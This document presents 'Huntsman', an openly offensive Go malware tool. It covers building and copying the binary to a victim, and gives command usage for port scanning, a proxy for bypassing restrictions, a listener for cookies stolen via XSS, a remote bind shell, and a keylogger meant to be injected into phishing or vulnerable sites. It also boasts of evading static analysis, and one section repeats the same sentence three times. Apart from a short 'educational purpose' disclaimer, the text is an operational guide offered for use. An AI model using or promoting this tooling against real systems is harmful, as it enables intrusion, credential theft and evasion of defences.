Offensive Security with Huntsman: A concurrent versatile malware

Souvik Haldar

October 17, 2020

1 Introduction

The term Malware is an acronym for Malicious Software, which is software that is used to harm or exploit any electronic device or network, causing chaos. Programming is the way of writing down thoughts and logic, in a way the computers can understand, and while writing a program there is always a scope of introducing errors and flaws or missing out on potentially dangerous scenarios. These flaws in the program are what hackers call vulnerability, and they exploit these bugs to make it behave in a way the programmer never intended. Malware is the way hackers talk to the computer to satisfy this goal. Hence, writing malware is an art to exploit the error in thinking. Huntsman is a malware, which was created keeping speed and efficiency in mind because at the end of the day malware is also a software, a malicious one.

2 Huntman

2.1 What is it

Huntsman is a malware, which was created keeping speed and efficiency in mind because at the end of the day malware is also a software, a malicious one. Huntsman is a malware, which was created keeping speed and efficiency in mind because at the end of the day malware is also a software, a malicious one.

2.2 Unique features of Huntsman

Huntsman in written in a language called golang and below are the highlights of what makes it a special kind of malware:

- Fast and concurrent: Our CPUs are not getting any faster as Moore's law is dead, hence the way we can improve on processing is by reducing the latency introduced by I/O operations by adding more and more cache memory and using multiple CPUs instead of one. But, both these factors have a limit as to how large the cache can be and how many cores can be added. Hence software can be made faster by concurrently running pieces of a process (called thread). Golang takes care of this aspect well and hence Huntsman can be said to be an efficient concurrent software.

- Single executable binary: Once you find a vulnerability in a system and want to exploit it using a malware, you need to reduce the time required to place the binary at the intended place. Hence having a single binary can that execute on the system is very useful as you can there is nothing else to take care of. You just place it there and start exploiting, no dependencies involved!

- Cross-platform: The target system can be of any architecture and be running any operating system, hence is it important that the malware should be capable enough to run on most of them. Hence the true cross-platform nature of golang comes into the picture as Huntsman can be compiled into almost any platform of choice and it will be ready to execute in no time.

- Versatile: Huntsman is not just one kind of malware, it is a versatile malware that can perform many kinds of malicious activity. The goal behind making huntsman versatile was that once we get access to a system, we should be able to exploit it to maximum extent and maximum possible ways. For a complete set of features refer to the feature section.

- Static analysis proof: A program written in golang is very hard to reverse engineer, and hence it is safe from static malware analysis to a large extent. Hence huntsman is hard to get caught very easily.

3 Installation

There multiple ways in which you can install ‘huntsman‘ on your machine or a target machine.

1. Install it using golang compiler using ‘go install‘ or ‘go build‘
   (a) Install Golang
   (b) `git clone git@github.com:souvikhaldar/huntsman.git`
   (c) `cd huntsman`
   (d) `go install`
2. Download the binary from RELEASES and save it on on PATH.
3. Use the ‘goinstaller.py‘ script.

```
./goinstaller.py --help
Install go program for multiple OS and multiple architectures
Run goinstaller.py --help for all options
usage: goinstaller.py [-h]
      [--os {all,popular,linux,darwin,windows,dragonfly,android,freebsd,netbs
      [--arch {all,popular,amd64,386,arm,ppc64,arm64,ppc64le,mips,mipsle,mips
      [--source SOURCE] [--target TARGET]

optional arguments:
  -h, --help            show this help message and exit
  --os {all,popular,linux,darwin,windows,dragonfly,android,freebsd,netbsd,ope
The target OS. Eg. all,linux,darwin,windows,etc
  --arch {all,popular,amd64,386,arm,ppc64,arm64,ppc64le,mips,mipsle,mips64,mi
The target's architecture. Eg. all,amd64,386,etc
  --source SOURCE       The directory where source source is present
  --target TARGET       The target dir where the binary needs to be stored
```

   Eg. Compiling for **popular** OSes like Windows, Microsoft and Linux for 64-bit architecture can be done using

```
./goinstaller.py --target ./download --os popular --arch amd64
```

4. Using docker You can run Huntsman in docker as well.
   `docker pull souvikhaldar/huntsman:0.6`

4 Transfer to a target

Once you've compiled huntsman for the target OS and arch, you can transfer it using 'scp' or any tool of choice, for exploiting the victim. Eg, transferring linux binary to target machine:

```
scp ./download/linux_amd64 username@address:location
```

5 Functions of Huntsman

Now let us dive into the functionalities that Huntsman can offer, one by one, in no particular order.
NOTE: Each functionality is itself a tool. If you want to know what functionalities/tools Huntsman has, you can run `huntsman --help` to get the entire list allow with small description of each functionality. Then, if you are interested in a particular functionality further, you can use the `--help` suffix to the desired tool. For example, if you are interested in the port scanning (portscan) functionality, you can run the command `huntsman portscan --help` on the terminal to get the particular information.

5.1 Fast concurrent port scanning

A computer may have many physical ports, like USB port, HDMI port,etc for connecting various kinds of peripherals to the computer, in order to communicate or utilize each other. Similarly, in computer networking, ports serve a similar purpose of communication. A particular process or service is **bind** to particular port (and combine with IP address) to uniquely identify and communicate with it over the network from another computer. Some ports are reserved for some communication protocols, like **HTTP** protocol based communication is reserved for port 80, for **ssh** it is 22, etc. The port number is denoted by a 16 bit unsigned integer i.e 0 to 65535.

Huntsman allows you to find if a computer has any open port to the internet, because if you can find an open port in a computer, it is easy to get into to machine and then perform the desired action.

```
huntsman portscan --help

Concurrently scan the provided range (by default 0 to 65535) to check if any port
```

```
Usage:
  huntsman portscan [flags]

Flags:
  -e, --end int32       last port number (default 65535)
  -h, --help            help for portscan
  -s, --start int32     starting port number (default 1)
      --target string   IP/URL address of the machine to be scanned
  -t, --threads int32   the number of goroutines to execute at a time (default 100
```

5.2 TCP proxy

Transmission Control Protocol (TCP) – a connection-oriented communications protocol that facilitates the exchange of messages between computing devices in a network. It is the most common protocol in networks that use the Internet Protocol (IP); together they are sometimes referred to as TCP/IP. A TCP proxy is a server that acts as an intermediary between a client and the destination server. Clients establish connections to the TCP proxy server, which then establishes a connection to the destination server.
Sometimes we need a TCP proxy in order to bypass certain restriction, filter the traffic, hide the actual identity of the client and a lot more. This functionality of **TCP Proxy** allows Huntsman to become a proxy server whenever the need be, quite neat huh?

```
huntsman proxy --help

Relay traffic from source to destination via this proxy

Usage:
  huntsman proxy [flags]

Flags:
  -h, --help                    help for proxy
  -s, --port string             The port at which this proxy should run (default '
  -t, --target-address string   Destination to forward traffic to
  -p, --target-port string      The port of the destination, eg 8192,80 (default '
```

An example of using huntsman as TCP proxy is:
`huntsman proxy -s <local-port> -t <target-address> -p <target-port>`

5.3 TCP Listener

Sometimes it so happens that we need to listen to incoming data from some client, like for example, suppose you've been able to find a XSS vulnerability on website and now you want to send the stolen cookie from the site. In such case, you can spin up a TCP Listener using Huntsman on your server, then send the data to this listener and hence have the data recorded on your server. There a multiple use cases of having a listener ready to listen to data, you will find many along your way.

```
huntsman listen --help

Listen to incoming TCP requests on a port

Usage:
  huntsman listen [flags]

Flags:
  -h, --help          help for listen
      --port string   Port at which listener should run (default "8192")
```

An example command to turn Huntsman into a TCP listener is:
`huntsman listen port=8192`
NOTE: Don't forget to open the port on which you intend to run the listener, otherwise the client won't be able to connect to it.

5.4 Bind shell

Bind shells have the listener running on the target and the attacker connect to the listener in order to gain a remote shell.
For using this funtionality, first you need to compile the binary for the target machine using the 'goinstaller.py' or anything of choice. Then preferably use 'scp' to transfer the binary to the target machine (see 'Installation' section) then execute it using `./<binary-name> reverseshell --port <port-number>`. Now the listener is running to which you will be sending instructions to execute.

We will be using **netcat** as the client for sending the commands over the network. `nc <address-of-target> <port-number>`

```
huntsman bindshell --help

This server listens for command over the internet and executes it
in local shell

Usage:
  huntsman bindshell [flags]

Flags:
  -h, --help          help for bindshell
      --port string
                       The port on which this bind shell listen for coommands
                        (default "13337")
```

Youtube link for the video demonstration of the working of the bind shell
NOTE: I've used the term reverse shell for bind shell in the video, which is wrong, in reverse shell the victim machine connects with the client for taking commands

5.5 Keylogger

A keylogger can log the keystrokes made by a user ,typically on a website. The logged keystrokes most of the times are crucial credentials of the users. Hackers use Credential Harvester (like keylogger) to steal your credentials. Huntsman is the tool that contains a keylogger as well.

```
huntsman keylogger --help

This will run a keylogger server (a websocket) which also renders
a HTML (with JS) client that captures the keystrokes and send them to
this server, so we can know whatever the user is typing on that webpage

Usage:
  huntsman keylogger [flags]
```

```
Flags:
  -h, --help                    help for keylogger
  -l, --listener-port string
                                 The port at which the listener server should run c
                                  (default "8192")
  -w, --ws-addr string          address of the websocket server (default "localhost
```

```
huntsman keylogger -w localhost:8192 -l 8192
```

Using the above command you can run the keylogger, which will log all the inputs made to the HTML file named **logger.html** in the Huntsman github repository. The thing special about this html file is that it makes a websocket connection to the Huntsman keylogger websocket server and sends each keystoke to the server. In practical scenarios you need to have either a custom website which has this feature built into it (typically the phising websites) or find vulnerability in the website to inject this websocket connection to our huntsman keylogger server.

This video is the demonstration for using huntsman as a keylogger.

6 Conclusion

The goal of Huntsman is to be an efficient piece of software (you can call it malware instead) that can transform into the required tool for hunting according to the need. Since it is open source, anyone can contribute to it for making it the ultimate tool for offensive security.

NOTE: This software was written for educational purpose, the author can not be held liable for any mishap that occurs out of it's direct or indirect usage